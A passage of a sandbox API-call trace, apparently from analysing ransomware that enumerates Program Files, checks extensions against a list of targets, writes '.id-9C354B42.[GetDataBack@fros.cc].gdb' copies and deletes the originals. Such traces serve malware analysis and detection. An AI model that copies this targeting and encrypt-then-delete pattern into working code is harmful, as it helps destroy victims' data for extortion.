lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0129.921] lstrlenW (lpString=".ppt") returned 4 [0129.921] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0129.921] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.921] lstrlenW (lpString=".zip") returned 4 [0129.921] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0129.921] lstrlenW (lpString=".rar") returned 4 [0129.921] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0129.921] lstrlenW (lpString=".bz2") returned 4 [0129.921] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0129.921] lstrlenW (lpString=".7z") returned 3 [0129.921] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0129.921] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.921] lstrlenW (lpString=".dbf") returned 4 [0129.921] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0129.921] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.921] lstrlenW (lpString=".1cd") returned 4 [0129.921] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0129.922] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.922] lstrlenW (lpString=".jpg") returned 4 [0129.922] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0129.922] lstrcmpiW (lpString1=".wmv", lpString2=".gdb") returned 1 [0129.922] lstrlenW (lpString="Notes_LOOP_BG.wmv") returned 17 [0129.922] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0130.391] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=789322) returned 1 [0130.391] CloseHandle (hObject=0x1fc) returned 1 [0130.391] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0130.391] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.391] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.391] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.391] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.391] lstrlenW (lpString=".doc") returned 4 [0130.392] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString=".docx") returned 5 [0130.392] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0130.392] lstrlenW (lpString=".pdf") returned 4 [0130.392] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString=".xls") returned 4 [0130.392] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0130.392] lstrlenW (lpString=".xlsx") returned 5 [0130.392] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0130.392] lstrlenW (lpString=".ppt") returned 4 [0130.392] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.392] lstrlenW (lpString=".zip") returned 4 [0130.392] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0130.392] lstrlenW (lpString=".rar") returned 4 [0130.392] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString=".bz2") returned 4 [0130.392] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString=".7z") returned 3 [0130.392] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0130.392] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.392] lstrlenW (lpString=".dbf") returned 4 [0130.392] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.392] lstrlenW (lpString=".1cd") returned 4 [0130.392] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.392] lstrlenW (lpString=".jpg") returned 4 [0130.392] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.392] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.392] lstrlenW (lpString=".doc") returned 4 [0130.392] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0130.392] lstrlenW (lpString=".docx") returned 5 [0130.392] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0130.393] lstrlenW (lpString=".pdf") returned 4 [0130.393] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0130.393] lstrlenW (lpString=".xls") returned 4 [0130.393] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0130.393] lstrlenW (lpString=".xlsx") returned 5 [0130.393] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0130.393] lstrlenW (lpString=".ppt") returned 4 [0130.393] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0130.393] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.393] lstrlenW (lpString=".zip") returned 4 [0130.393] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0130.393] lstrlenW (lpString=".rar") returned 4 [0130.393] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0130.393] lstrlenW (lpString=".bz2") returned 4 [0130.393] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0130.393] lstrlenW (lpString=".7z") returned 3 [0130.393] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0130.393] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.393] lstrlenW (lpString=".dbf") returned 4 [0130.393] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0130.393] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.393] lstrlenW (lpString=".1cd") returned 4 [0130.393] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0130.393] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0130.393] lstrlenW (lpString=".jpg") returned 4 [0130.393] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0130.393] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.393] lstrlenW (lpString="Pets_btn-back-static.png") returned 24 [0130.393] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0130.394] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1849) returned 1 [0130.394] CloseHandle (hObject=0x1fc) returned 1 [0130.394] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0130.394] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.394] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.394] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.394] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.394] lstrlenW (lpString=".doc") returned 4 [0130.395] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString=".docx") returned 5 [0130.395] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0130.395] lstrlenW (lpString=".pdf") returned 4 [0130.395] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString=".xls") returned 4 [0130.395] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.395] lstrlenW (lpString=".xlsx") returned 5 [0130.395] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0130.395] lstrlenW (lpString=".ppt") returned 4 [0130.395] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.395] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.395] lstrlenW (lpString=".zip") returned 4 [0130.395] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.395] lstrlenW (lpString=".rar") returned 4 [0130.395] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.395] lstrlenW (lpString=".bz2") returned 4 [0130.395] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString=".7z") returned 3 [0130.395] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.395] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.395] lstrlenW (lpString=".dbf") returned 4 [0130.395] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.395] lstrlenW (lpString=".1cd") returned 4 [0130.395] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.395] lstrlenW (lpString=".jpg") returned 4 [0130.395] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.395] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.395] lstrlenW (lpString=".doc") returned 4 [0130.395] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString=".docx") returned 5 [0130.395] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0130.395] lstrlenW (lpString=".pdf") returned 4 [0130.395] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.395] lstrlenW (lpString=".xls") returned 4 [0130.395] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.395] lstrlenW (lpString=".xlsx") returned 5 [0130.395] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0130.395] lstrlenW (lpString=".ppt") returned 4 [0130.395] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.395] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.396] lstrlenW (lpString=".zip") returned 4 [0130.396] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.396] lstrlenW (lpString=".rar") returned 4 [0130.396] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.396] lstrlenW (lpString=".bz2") returned 4 [0130.396] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.396] lstrlenW (lpString=".7z") returned 3 [0130.396] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.396] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.396] lstrlenW (lpString=".dbf") returned 4 [0130.396] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.396] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.396] lstrlenW (lpString=".1cd") returned 4 [0130.396] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.396] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0130.396] lstrlenW (lpString=".jpg") returned 4 [0130.396] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.396] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.396] lstrlenW (lpString="Pets_btn-next-over-select.png") returned 29 [0130.396] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0130.396] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=3016) returned 1 [0130.396] CloseHandle (hObject=0x1fc) returned 1 [0130.396] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0130.396] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.396] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString=".doc") returned 4 [0130.397] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString=".docx") returned 5 [0130.397] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0130.397] lstrlenW (lpString=".pdf") returned 4 [0130.397] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString=".xls") returned 4 [0130.397] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.397] lstrlenW (lpString=".xlsx") returned 5 [0130.397] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0130.397] lstrlenW (lpString=".ppt") returned 4 [0130.397] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString=".zip") returned 4 [0130.397] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.397] lstrlenW (lpString=".rar") returned 4 [0130.397] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.397] lstrlenW (lpString=".bz2") returned 4 [0130.397] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString=".7z") returned 3 [0130.397] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString=".dbf") returned 4 [0130.397] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString=".1cd") returned 4 [0130.397] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString=".jpg") returned 4 [0130.397] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.397] lstrlenW (lpString=".doc") returned 4 [0130.397] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString=".docx") returned 5 [0130.397] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0130.397] lstrlenW (lpString=".pdf") returned 4 [0130.397] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.397] lstrlenW (lpString=".xls") returned 4 [0130.397] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.398] lstrlenW (lpString=".xlsx") returned 5 [0130.398] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0130.398] lstrlenW (lpString=".ppt") returned 4 [0130.398] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.398] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.398] lstrlenW (lpString=".zip") returned 4 [0130.398] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.398] lstrlenW (lpString=".rar") returned 4 [0130.398] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.398] lstrlenW (lpString=".bz2") returned 4 [0130.398] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.398] lstrlenW (lpString=".7z") returned 3 [0130.398] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.398] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.398] lstrlenW (lpString=".dbf") returned 4 [0130.398] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.398] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.398] lstrlenW (lpString=".1cd") returned 4 [0130.398] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.398] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0130.398] lstrlenW (lpString=".jpg") returned 4 [0130.398] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.398] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.398] lstrlenW (lpString="Pets_btn-next-static.png") returned 24 [0130.398] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0130.398] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=2041) returned 1 [0130.398] CloseHandle (hObject=0x1fc) returned 1 [0130.398] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0130.399] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.399] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.399] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0130.399] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0130.399] lstrlenW (lpString=".doc") returned 4 [0130.399] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.399] lstrlenW (lpString=".docx") returned 5 [0130.399] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0130.399] lstrlenW (lpString=".pdf") returned 4 [0130.399] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.399] lstrlenW (lpString=".xls") returned 4 [0130.399] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.399] lstrlenW (lpString=".xlsx") returned 5 [0130.399] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0130.399] lstrlenW (lpString=".ppt") returned 4 [0130.399] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.399] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0130.399] lstrlenW (lpString=".zip") returned 4 [0130.399] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.399] lstrlenW (lpString=".rar") returned 4 [0130.399] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.399] lstrlenW (lpString=".bz2") returned 4 [0130.399] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.399] lstrlenW (lpString=".7z") returned 3 [0130.399] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.399] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0130.399] lstrlenW (lpString=".dbf") returned 4 [0130.399] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0131.024] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.024] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0131.025] GetLastError () returned 0x0 [0131.025] ReadFile (in: hFile=0x208, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x4360, lpOverlapped=0x0) returned 1 [0131.026] WriteFile (in: hFile=0x1b0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x4370, lpOverlapped=0x0) returned 1 [0131.028] ReadFile (in: hFile=0x208, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0131.028] WriteFile (in: hFile=0x1b0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe4, lpOverlapped=0x0) returned 1 [0131.028] SetEndOfFile (hFile=0x1b0) returned 1 [0131.028] CloseHandle (hObject=0x1b0) returned 1 [0131.028] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.028] SetEndOfFile (hFile=0x208) returned 1 [0131.029] CloseHandle (hObject=0x208) returned 1 [0131.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0131.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.030] lstrlenW (lpString=".doc") returned 4 [0131.030] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.030] lstrlenW (lpString=".docx") returned 5 [0131.030] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0131.030] lstrlenW (lpString=".pdf") returned 4 [0131.030] 